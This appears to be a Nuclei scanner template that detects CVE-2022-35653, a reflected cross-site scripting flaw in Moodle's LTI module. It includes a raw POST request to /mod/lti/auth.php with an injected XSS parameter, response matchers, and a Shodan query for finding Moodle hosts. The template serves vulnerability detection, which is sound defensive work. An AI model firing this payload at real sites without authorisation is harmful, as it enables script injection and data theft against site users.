id: CVE-2022-35653 info: name: Moodle LTI module Reflected - Cross-Site Scripting author: iamnoooob,pdresearch severity: medium description: | A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks. reference: - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-72299 - https://nvd.nist.gov/vuln/detail/CVE-2022-35653 - https://bugzilla.redhat.com/show_bug.cgi?id=2106277 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6MOKYVRNFNAODP2XSMGJ5CRDUZCZKAR3/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTKUSFPSYFINSQFSOHDQIDVE6FWBEU6V/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-35653 cwe-id: CWE-79 epss-score: 0.00685 epss-percentile: 0.77764 cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: moodle product: moodle shodan-query: title:"Moodle" tags: cve,cve2022,moodle,xss http: - raw: - | POST /mod/lti/auth.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded xxx">=1 matchers-condition: and matchers: - type: word part: body words: - "" - "moodle-editor" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a00463044022048e1d5f1553fe8ef655cefdf2b6ef1739edc4d9a021496a6a6550fca663547d3022058e79ef42ba8d70714fc7bc037ffc5479017bf5e99586f4906fedf97654dda7c:922c64590222798bb761d5b6d8e72950